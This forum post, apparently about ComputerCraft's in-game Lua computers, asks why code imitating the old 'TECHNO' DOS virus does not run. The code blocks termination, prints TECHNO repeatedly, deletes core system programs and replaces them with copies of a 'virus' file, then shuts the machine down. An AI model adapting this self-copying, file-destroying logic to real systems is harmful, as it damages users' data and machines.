Posted 27 June 2012 - 03:12 AM
I've made some code that replicates the payload for the "TECHNO" DOS virus and it will not run and has no error when trying to run.
This is the startup code:
The virus file is a compact version of this only including the TECHNO slowprint and a os.shutdown after it.
This is the startup code:
os.pullEvent = os.pullEventRaw
function infect(directory)
if fs.exists(directory) then
fs.delete(directory)
end
term.clear()
textutils.slowPrint("TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO ")
sleep(1)
infect("startup")
fs.copy("disk/virus","startup")
infect("/startup")
fs.copy("disk/virus","/startup")
infect("clear")
fs.copy("disk/virus","clear")
infect("/clear")
fs.copy("disk/virus","/clear")
infect("copy")
fs.copy("disk/virus","copy")
infect("/copy")
fs.copy("disk/virus","/copy")
infect("reboot")
fs.copy("disk/virus","reboot")
infect("/reboot")
fs.copy("disk/virus","/reboot")
infect("shutdown")
fs.copy("disk/virus","shutdown")
infect("/shutdown")
fs.copy("disk/virus","/shutdown")
infect("list")
fs.copy("disk/virus","list")
infect("/list")
fs.copy("disk/virus","/list")
infect("delete")
fs.copy("disk/virus","delete")
infect("/delete")
fs.copy("disk/virus","/delete")
infect("startup")
fs.copy("disk/virus","startup")
infect("/startup")
fs.copy("disk/virus","/startup")
os.shutdown()
end
The virus file is a compact version of this only including the TECHNO slowprint and a os.shutdown after it.